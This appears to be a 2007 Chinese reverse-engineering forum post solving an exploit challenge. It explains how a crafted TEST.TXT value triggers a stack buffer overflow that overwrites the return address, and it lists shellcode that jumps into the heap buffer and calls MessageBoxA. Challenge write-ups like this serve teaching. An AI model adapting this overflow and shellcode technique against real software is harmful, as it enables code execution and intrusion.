-
-
[原创]二阶段第一题
-
发表于:
2007-8-28 19:20
5891
-
文件见附件
过程如下, 查找字符串发现读取TEST.TXT,分配空间后读取到动态空间
先分析发现文件的头2个DOWRD为一个64位整型,设为X 满足一定条件
unsigned __int64 num1=0x78CC02A869948F1B;
unsigned __int64 num2=0x5BE6FF82A5164785;
程序从动态空间复制 (X*num2)%num1 位到堆栈,因此可以覆盖返回地址.
覆盖后返回到堆栈地址 0012FAC0处,构造如下SHELLCODE
003F000C 8D4E 11 lea ecx, dword ptr [esi+11] //ESI指向动态空间
003F000F FFE1 jmp ecx //跳转到动态空间执行
003F0011 8D4E 08 lea ecx, dword ptr [esi+8] //+8处为字符串OK!
003F0014 57 push edi //EDI=0
003F0015 51 push ecx
003F0016 51 push ecx
003F0017 57 push edi
003F0018 FF15 4C024000 call dword ptr [<&USER32.MessageBoxA>>; USER32.MessageBoxA
003F001E 59 pop ecx //平衡堆栈
003F001F 59 pop ecx
003F0020 - E9 7A030100 jmp ExploitM.0040039F //返回用户空间
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)